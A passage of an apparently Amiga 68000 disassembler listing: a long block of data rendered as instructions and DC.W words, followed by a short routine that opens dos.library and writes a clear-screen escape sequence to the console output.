  656.     CMPM    (A0)+,(A7)+        ;552: BF48
  657.     DC.W    $BE7F            ;554
  658.     DC.W    $BF7E            ;556
  659.     EOR    D7,D5            ;558: BF45
  660.     MOVE    #$7DDD,(A6)+        ;55A: 3CFC7DDD
  661.     DC.W    $53CB            ;55E
  662.     DC.W    $CF81            ;560
  663.     MOVE    A1,-(A4)        ;562: 3909
  664.     MOVE    SR,(A6)+        ;564: 40DE
  665.     SUBQ    #1,A3            ;566: 534B
  666.     SUBA.L    15678(A3),A0        ;568: 91EB3D3E
  667.     ADD    D7,(A6)+        ;56C: DF5E
  668.     ASR    D3,D7            ;56E: E667
  669.     DC.W    $6167            ;570
  670.     SHI    -(A5)            ;572: 52E5
  671.     MOVE.L    (A0),(A1)        ;574: 2290
  672.     MOVE    A4,(A7)+        ;576: 3ECC
  673.     DC.W    $3D3B            ;578
  674.     DC.W    $48AD            ;57A
  675.     DC.W    $54AD            ;57C
  676.     DC.W    $3833            ;57E
  677.     MOVE    8848(A5),(A6)        ;580: 3CAD2290
  678.     SUBQ    #1,A0            ;584: 5348
  679.     DC.W    $4BC1            ;586
  680.     MOVE.L    (A0),(A1)        ;588: 2290
  681.     DC.W    $C1BB            ;58A
  682.     DC.W    $FA29            ;58C
  683.     DC.W    $53AB            ;58E
  684.     DC.W    $4C41            ;590
  685.     DC.W    $D8BF            ;592
  686.     DC.W    $2C3D            ;594
  687.     MOVE.L    -(A4),D1        ;596: 2224
  688.     MOVE    D1,-(A4)        ;598: 3901
  689.     DC.W    $53CB            ;59A
  690.     DC.W    $08BD            ;59C
  691.     DC.W    $BC3D            ;59E
  692.     ADDQ.L    #6,A5            ;5A0: 5C8D
  693.     LEA    (A1),A5            ;5A2: 4BD1
  694.     DC.W    $53BD            ;5A4
  695.     DC.W    $F880            ;5A6
  696.     DC.W    $3DCD            ;5A8
  697.     DC.W    $3DED            ;5AA
  698.     DC.W    $3DCD            ;5AC
  699.     OR    -24654(A5),D0        ;5AE: 806D9FB2
  700.     DC.W    $7F33            ;5B2
  701.     DC.W    $AAEA            ;5B4
  702.     SUB    (A1)+,D7        ;5B6: 9E59
  703.     SUB.L    (A1)+,D7        ;5B8: 9E99
  704.     SHI    14792(A1)        ;5BA: 52E939C8
  705.     MOVEA.L    -(A2),A1        ;5BE: 2262
  706.     DC.W    $39A0            ;5C0
  707.     DC.W    $DF32            ;5C2
  708.     ADD.B    D0,(A0)+        ;5C4: D118
  709.     DC.W    $3D5E            ;5C6
  710.     DC.W    $6049            ;5C8
  711.     DC.W    $A08D            ;5CA
  712.     SLS    D7            ;5CC: 53C7
  713.     ROL.L    D5,D5            ;5CE: EBBD
  714.     DC.W    $4D59            ;5D0
  715.     DC.W    $A3C8            ;5D2
  716.     DC.W    $8E3D            ;5D4
  717.     SHI    EXT_0005        ;5D6: 52F939886261
  718.     DC.W    $B3EB            ;5DC
  719.     DC.W    $61E7            ;5DE
  720.     DC.W    $39C8            ;5E0
  721.     DC.W    $013D            ;5E2
  722.     SUBQ    #1,D6            ;5E4: 5346
  723.     MOVEQ    #61,D6            ;5E6: 7C3D
  724.     OR    D5,-(A1)        ;5E8: 8B61
  725.     SLS    D6            ;5EA: 53C6
  726.     DC.W    $CBBD            ;5EC
  727.     DC.W    $5C3D            ;5EE
  728.     ADDQ    #1,(A1)            ;5F0: 5251
  729.     MOVEA.L    A0,A0            ;5F2: 2048
  730.     CMPA.L    -2014(A0),A0        ;5F4: B1E8F822
  731.     DC.W    $5E6C            ;5F8
  732.     DC.W    $3EBD            ;5FA
  733.     AND    D0,(A5)            ;5FC: C155
  734.     DC.W    $AA59            ;5FE
  735.     SUB.L    (A5)+,D7        ;600: 9E9D
  736.     DC.W    $A96E            ;602
  737.     DC.W    $A4EE            ;604
  738.     DC.W    $A30B            ;606
  739.     CHK    -23606(A1),D6        ;608: 4DA9A3CA
  740.     DC.W    $533D            ;60C
  741.     DC.W    $39A0            ;60E
  742.     DC.W    $08BD            ;610
  743.     DC.W    $3E6C            ;612
  744.     DC.W    $3D3D            ;614
  745.     DC.W    $AA49            ;616
  746.     SUBQ.B    #1,D0            ;618: 5300
  747.     MOVE    (A5)+,(A6)        ;61A: 3C9D
  748.     MOVE    D1,(A4)+        ;61C: 38C1
  749.     LSL.L    #1,D1            ;61E: E389
  750.     SUB    D7,-(A3)        ;620: 9F63
  751.     DC.W    $3FFD            ;622
  752.     DC.W    $46F5            ;624
  753.     DC.W    $5A72            ;626
  754.     DC.W    $5FFD            ;628
  755.     BNE.S    LAB_0011+4        ;62A: 6616
  756.     DC.W    $6A59            ;62C
  757.     SUBA.L    (A1),A7            ;62E: 9FD1
  758.     DC.W    $FF8D            ;630
  759.     ROXR    #5,D1            ;632: EA51
  760.     DC.W    $3E3F            ;634
  761.     DC.W    $A05D            ;636
  762.     MOVEQ    #-113,D6        ;638: 7C8F
  763.     DC.W    $7F93            ;63A
  764.     MOVEA.L    -(A6),A1        ;63C: 2266
  765. LAB_0011:
  766.     SHI    EXT_0006        ;63E: 52F939C8F118
  767.     DC.W    $3D5E            ;644
  768.     DC.W    $AE3D            ;646
  769.     ADDQ.B    #1,14827(A2)        ;648: 522A39EB
  770.     MOVEQ    #81,D1            ;64C: 7251
  771.     DC.W    $AE7F            ;64E
  772.     SHI    (A1)+            ;650: 52D9
  773.     MOVE    A1,-(A4)        ;652: 3909
  774.     DC.W    $3FD1            ;654
  775.     MOVE    (EXT_0001).W,D1        ;656: 32383D26
  776.     DC.W    $520A            ;65A
  777.     DC.W    $3981            ;65C
  778.     MOVE.L    -(A4),D1        ;65E: 2224
  779.     DC.W    $39A0            ;660
  780.     DC.W    $2391            ;662
  781.     OR.B    D5,(A2)            ;664: 8B12
  782.     SUB    D1,(A5)+        ;666: 935D
  783.     DIVU    (A1),D1            ;668: 82D1
  784.     SUBA.L    A0,A0            ;66A: 91C8
  785.     BLT.S    LAB_0012        ;66C: 6D68
  786.     SLE    -(A5)            ;66E: 5FE5
  787.     DC.W    $AFDC            ;670
  788.     DC.W    $F846            ;672
  789.     AND.L    D0,(A1)+        ;674: C199
  790.     DC.W    $AF8D            ;676
  791.     SHI    -(A1)            ;678: 52E1
  792.     MOVEQ    #-31,D1            ;67A: 72E1
  793.     DC.W    $AFDD            ;67C
  794.     DC.W    $7F2F            ;67E
  795.     DC.W    $023B            ;680
  796.     DC.W    $31FA            ;682
  797.     MOVE.L    (A0),(A1)        ;684: 2290
  798.     DC.W    $3EEE            ;686
  799.     EXG    D0,D5            ;688: C145
  800.     DC.W    $3EEC            ;68A
  801.     MOVE    -(A3),-(A6)        ;68C: 3D23
  802.     EXG    D0,D5            ;68E: C145
  803.     DC.W    $22F4            ;690
  804.     DC.W    $3DC2            ;692
  805.     DC.W    $4348            ;694
  806.     DC.W    $3FDF            ;696
  807.     DC.W    $39C8            ;698
  808.     NOT.B    D6            ;69A: 4606
  809.     CMP    A1,D6            ;69C: BC49
  810.     DC.W    $43DF            ;69E
  811.     SUBQ    #6,-(A1)        ;6A0: 5D61
  812.     DC.W    $3DAD            ;6A2
  813.     DC.W    $6261            ;6A4
  814.     MOVE.L    (A0),(A1)        ;6A6: 2290
  815.     DC.W    $403D            ;6A8
  816.     DC.W    $43FD            ;6AA
  817.     DC.W    $5368            ;6AC
  818.     MOVEA    (A5)+,A6        ;6AE: 3C5D
  819.     DC.W    $8141            ;6B0
  820.     DC.W    $437D            ;6B2
  821.     SLS    15453(A3)        ;6B4: 53EB3C5D
  822.     SBCD    D2,D7            ;6B8: 8F02
  823.     MOVE    A1,-(A4)        ;6BA: 3909
  824.     CMP    A1,D6            ;6BC: BC49
  825.     MOVE.L    (A0),(A1)        ;6BE: 2290
  826.     SLS    D3            ;6C0: 53C3
  827.     ADDA.L    A5,A5            ;6C2: DBCD
  828.     CMP    (A1)+,D7        ;6C4: BE59
  829.     CMP    -(A5),D7        ;6C6: BE65
  830.     DC.W    $81FE            ;6C8
  831.     DC.W    $C236            ;6CA
  832.     MOVE.L    (A0),(A1)        ;6CC: 2290
  833.     SLS    -(A2)            ;6CE: 53E2
  834.     MOVE.L    (A2),(A4)+        ;6D0: 28D2
  835.     SUBQ    #1,D3            ;6D2: 5343
  836.     DC.W    $6541            ;6D4
  837. LAB_0012:
  838.     CMP    (A1)+,D6        ;6D6: BC59
  839.     MOVE.L    (A0),(A1)        ;6D8: 2290
  840.     SUBQ.B    #1,-(A2)        ;6DA: 5322
  841.     DC.W    $4388            ;6DC
  842.     SLS    -(A1)            ;6DE: 53E1
  843.     MOVE.L    (A2),(A4)+        ;6E0: 28D2
  844.     MOVEA    A5,A6            ;6E2: 3C4D
  845.     SUBQ.L    #1,D1            ;6E4: 5381
  846.     DC.W    $6541            ;6E6
  847.     DC.W    $43CB            ;6E8
  848.     DC.W    $4B8B            ;6EA
  849.     DC.W    $4888            ;6EC
  850.     DC.W    $BE7E            ;6EE
  851.     SLE    (A7)+            ;6F0: 5FDF
  852.     DC.W    $1FAA            ;6F2
  853.     SUBI.L    #$3C6225E9,-(A4)    ;6F4: 04A43C6225E9
  854.     DC.W    $6923            ;6FA
  855.     DC.W    $603D            ;6FC
  856.     DC.W    $BEFA            ;6FE
  857.     DC.W    $BEFA            ;700
  858.     DC.W    $BEFA            ;702
  859.     DC.W    $BEFA            ;704
  860.     MOVE.L    (A0),(A1)        ;706: 2290
  861.     DC.W    $6B5D            ;708
  862.     AND    D0,-(A5)        ;70A: C165
  863.     SUBQ.L    #1,(A7)+        ;70C: 539F
  864.     TST    -(A1)            ;70E: 4A61
  865.     CMP    A1,D6            ;710: BC49
  866.     MOVE.L    (A0),(A1)        ;712: 2290
  867.     CMP    -(A5),D6        ;714: BC65
  868.     SBCD    D3,D0            ;716: 8103
  869.     DC.W    $4344            ;718
  870.     SUBQ.B    #1,(A6)+        ;71A: 531E
  871.     SUBQ.L    #1,(A6)+        ;71C: 539E
  872.     CMP    D5,D6            ;71E: BC45
  873.     DC.W    $FBE1            ;720
  874.     MULS    -(A1),D5        ;722: CBE1
  875.     DC.W    $95FE            ;724
  876.     DC.W    $75FE            ;726
  877.     DC.W    $4347            ;728
  878.     DC.W    $603D            ;72A
  879.     SGT    24156(A6)        ;72C: 5EEE5E5C
  880.     DC.W    $3E3D            ;730
  881.     MOVE.L    (A0),(A1)        ;732: 2290
  882.     DC.W    $3EEE            ;734
  883.     SMI    D1            ;736: 5BC1
  884.     MOVE    8848(A6),(A7)+        ;738: 3EEE2290
  885.     ASL    -(A7)            ;73C: E1E7
  886.     DC.W    $39C8            ;73E
  887.     DC.W    $A37D            ;740
  888.     SBCD    D2,D7            ;742: 8F02
  889.     DC.W    $39C8            ;744
  890.     MOVE.L    (A0),(A1)        ;746: 2290
  891.     SUBQ    #1,16110(A0)        ;748: 53683EEE
  892.     CMP    A1,D7            ;74C: BE49
  893.     CMPA    -(A7),A7        ;74E: BEE7
  894.     DC.W    $3DCD            ;750
  895.     CMPM.B    (A3)+,(A6)+        ;752: BD0B
  896.     DC.W    $3D7D            ;754
  897.     DC.W    $A15D            ;756
  898.     CMPM.B    (A1)+,(A1)+        ;758: B309
  899.     CMP    24302(A1),D6        ;75A: BC695EEE
  900.     AND    D0,(A5)            ;75E: C155
  901.     DC.W    $C170            ;760
  902.     DC.W    $3E3D            ;762
  903.     DC.W    $DF3B            ;764
  904.     ADD    17188(A1),D6        ;766: DC694324
  905.     MOVE.L    D4,-(A0)        ;76A: 2104
  906.  
  907.  
  908.     SECTION S_1,CODE
  909.  
  910. SECSTRT_1:
  911.     SUBI.B    #$04,(A7)        ;76C: 04170004
  912.     LEA    LAB_0016(PC),A1        ;770: 43FA0034
  913.     MOVE.L    #$0000001F,D0        ;774: 203C0000001F
  914.     JSR    -552(A6)        ;77A: 4EAEFDD8
  915.     MOVEA.L    D0,A6            ;77E: 2C40
  916.     BEQ.S    LAB_0015        ;780: 6720
  917.     JSR    -60(A6)            ;782: 4EAEFFC4
  918.     MOVE.L    D0,D1            ;786: 2200
  919.     LEA    LAB_0017(PC),A0        ;788: 41FA0028
  920.     MOVE.L    A0,D2            ;78C: 2408
  921.     MOVEQ    #4,D3            ;78E: 7604
  922.     JSR    -48(A6)            ;790: 4EAEFFD0
  923.     TST.L    D0            ;794: 4A80
  924.     BMI.S    LAB_0014        ;796: 6B04
  925.     MOVEQ    #0,D0            ;798: 7000
  926. LAB_0013:
  927.     RTS                ;79A: 4E75
  928. LAB_0014:
  929.     JSR    -132(A6)        ;79C: 4EAEFF7C
  930.     BRA.S    LAB_0013        ;7A0: 60F8
  931. LAB_0015:
  932.     MOVEQ    #20,D0            ;7A2: 7014
  933.     RTS                ;7A4: 4E75
  934. LAB_0016:
  935.     DC.W    $646F            ;7A6
  936.     DC.W    $732E            ;7A8
  937.     DC.W    $6C69            ;7AA
  938.     DC.W    $6272            ;7AC
  939.     DC.W    $6172            ;7AE
  940.     DC.W    $7900            ;7B0
  941. LAB_0017:
  942.     SUBX    -(A0),-(A5)        ;7B2: 9B48
  943.     SUBX    -(A2),-(A5)        ;7B4: 9B4A
  944.     DC.W    $0000            ;7B6
  945.     END
  946.